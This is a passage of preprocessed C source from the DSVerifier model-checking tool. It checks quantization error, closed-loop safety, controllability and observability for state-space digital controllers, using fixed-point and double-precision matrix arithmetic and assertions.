__backupController.inputs[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
__backupController.outputs[i][j]= (_controller.outputs[i][j]);
}
}
double __quant_error = 0.0;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_state[i][j]);
}
}
double output_double = double_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
__backupController.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
_controller.A[i][j] = __backupController.A[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
_controller.B[i][j] = __backupController.B[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
_controller.C[i][j] = __backupController.C[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
_controller.D[i][j] = __backupController.D[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j] = __backupController.states[i][j];
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
_controller.inputs[i][j] = __backupController.inputs[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j] = __backupController.outputs[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_stateFWL[i][j]);
}
}
double output_fxp = fxp_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
__quant_error = output_double - output_fxp;
return __quant_error;
}
double fxp_ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double temp_result1[4][4];
double result2[4][4];
double temp_states[4][4];
fxp_t K_fxp[4][4];
fxp_t states_fxp[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_fxp.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
reference_aux[i][j]=0;
K_fxp[i][j] = 0;
}
}
for(i=0; i<nInputs;i++){
reference_aux[i][0]= reference;
}
for(i=0; i<4;i++){
states_fxp[i][0]=0;
}
for(i=0; i<nStates;i++){
K_fxp[0][i]= fxp_double_to_fxp(_controller_fxp.K[0][i]);
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for(k=0; k<nStates;k++)
{
states_fxp[k][0]= fxp_double_to_fxp(_controller_fxp.states[k][0]);
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,K_fxp,states_fxp,result_fxp);
fxp_t reference_fxp[4][4];
fxp_t result_fxp2[4][4];
for(k=0;k<nInputs;k++)
{
reference_fxp[k][0] =fxp_double_to_fxp(fxp_quantize(reference_aux[k][0]));
}
fxp_sub_matrix(nInputs,1, reference_fxp, result_fxp, result_fxp2);
for(k=0; k<nInputs;k++)
{
_controller_fxp.inputs[k][0] = fxp_to_double(fxp_quantize(result_fxp2[k][0]));
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_fxp.C,_controller_fxp.states,result1);
if(flag == 1)
{
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_fxp.D,_controller_fxp.inputs,result2);
}
double_add_matrix(nOutputs,1,result1,result2,_controller_fxp.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_fxp.A,_controller_fxp.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_fxp.B,_controller_fxp.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_fxp.states);
return _controller_fxp.outputs[0][0];
}
double ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double result2[4][4];
unsigned int i;
unsigned int j;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_double.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference_aux[i][j]= reference;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.K,_controller_double.states,result1);
double_sub_matrix(nInputs,1,reference_aux,result1, _controller_double.inputs);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.C,_controller_double.states,result1);
if(flag == 1)
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_double.D,_controller_double.inputs,result2);
double_add_matrix(nOutputs,1,result1,result2,_controller_double.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_double.A,_controller_double.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_double.B,_controller_double.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_double.states);
return _controller_double.outputs[0][0];
}
int verify_error_state_space(void){
int i,j;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
_controller_fxp = _controller;
_controller_double = _controller;
overflow_mode = 0;
fxp_t x[0];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < 0; ++i) {
x[i] = nondet_constant_input;
}
double __quant_error;
if(closed_loop){
for (i = 0; i < 0; ++i) {
__quant_error = ss_closed_loop_quantization_error(x[i]) - fxp_ss_closed_loop_quantization_error(x[i]);
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 354, __extension__ __PRETTY_FUNCTION__); }))
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
else {
for (i=0; i < 0; i++)
{
__quant_error = ss_system_quantization_error(x[i]);
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 361, __extension__ __PRETTY_FUNCTION__); }))
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
return 0;
}
# 44 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double fxp_ss_closed_loop_safety(){
double reference[4][4];
double result1[4][4];
double result2[4][4];
fxp_t K_fpx[4][4];
fxp_t outputs_fpx[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]=0;
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result_fxp[i][j]=0;
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]= fxp_double_to_fxp(_controller.K[i][j]);
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
if(flag == 1){
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
}
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
for(k=0; k<nOutputs;k++){
for(j=0; j<1;j++){
outputs_fpx[k][j]= fxp_double_to_fxp(_controller.outputs[k][j]);
}
}
fxp_matrix_multiplication(nInputs,nOutputs,nOutputs,1,K_fpx,outputs_fpx,result_fxp);
for(k=0; k<nInputs;k++){
for(j=0; j<1;j++){
result1[k][j]= fxp_to_double(result_fxp[k][j]);
}
}
printf("### fxp: U (before) = %.9f", _controller.inputs[0][0]);
printf("### fxp: reference = %.9f", reference[0][0]);
printf("### fxp: result1 = %.9f", result1[0][0]);
printf("### fxp: reference - result1 = %.9f", (reference[0][0] - result1[0][0]));
double_sub_matrix(nInputs,
1,
reference,
result1,
_controller.inputs);
printf("### fxp: Y = %.9f", _controller.outputs[0][0]);
printf("### fxp: U (after) = %.9f \n### \n### ", _controller.inputs[0][0]);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
}
return _controller.outputs[0][0];
}
int verify_safety_state_space(void){
fxp_t output_fxp = fxp_ss_closed_loop_safety();
double output_double = fxp_to_double(output_fxp);
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
((void) sizeof ((
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ; else __assert_fail (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
"output_double <= error_limit"
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h", 140, __extension__ __PRETTY_FUNCTION__); }))
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
;
return 0;
}
# 45 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 1
# 14 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
extern digital_system_state_space _controller;
int verify_controllability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t controllabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double controllabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
A_fpx[i][j] = 0.0;
B_fpx[i][j] = 0.0;
controllabilityMatrix[i][j] = 0.0;
backup[i][j] = 0.0;
backupSecond[i][j] = 0.0;
controllabilityMatrix_double[i][j] = 0.0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
fxp_t mimo_controllabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_fxp);
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(mimo_controllabilityMatrix_fxp[i][j]);
}
}
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 91, __extension__ __PRETTY_FUNCTION__); }))
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
fxp_exp_matrix(nStates,nStates,A_fpx,j,backup);
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(controllabilityMatrix[i][j]);
}
}
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 113, __extension__ __PRETTY_FUNCTION__); }))
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
int verify_controllability_double(void){
int i;
int j;
double controllabilityMatrix[4][4];
double backup[4][4];
double backupSecond[4][4];
double controllabilityMatrix_double[4][4];
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
double_exp_matrix(nStates,nStates,_controller.A,l,backup);
l++;
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
double mimo_controllabilityMatrix_double[4][4];
double_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_double);
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(mimo_controllabilityMatrix_double,nStates) != 0"
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 154, __extension__ __PRETTY_FUNCTION__); }))
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
double_exp_matrix(nStates,nStates,_controller.A,j,backup);
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix,nStates) != 0"
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 163, __extension__ __PRETTY_FUNCTION__); }))
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
# 46 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
extern digital_system_state_space _controller;
int verify_observability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t observabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double observabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix[i][j]= 0;
A_fpx[i][j]=0;
C_fpx[i][j]= 0;
backup[i][j]= 0;
backupSecond[i][j]= 0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
if(nOutputs > 1){
int l;
j = 0;
for(l=0; l<nStates;){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(int k = 0; k < nOutputs; k++){
for(i = 0; i<nStates;i++){
observabilityMatrix[j][i]= backupSecond[k][i];
}
j++;
}
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nOutputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(observabilityMatrix,backup,(nStates*nOutputs),nStates);
# 99 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
fxp_t mimo_observabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nOutputs),(nStates*nOutputs),nStates,backup,observabilityMatrix,mimo_observabilityMatrix_fxp);
# 112 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(mimo_observabilityMatrix_fxp[i][j]);
}
}
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 119, __extension__ __PRETTY_FUNCTION__); }))
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}else{
for(i=0; i<nStates;i++){
fxp_exp_matrix(nStates,nStates,A_fpx,i,backup);
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(j = 0; j<nStates;j++){
observabilityMatrix[i][j]= backupSecond[0][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(observabilityMatrix[i][j]);
}
}
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 134, __extension__ __PRETTY_FUNCTION__); }))
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}
return 0;
}
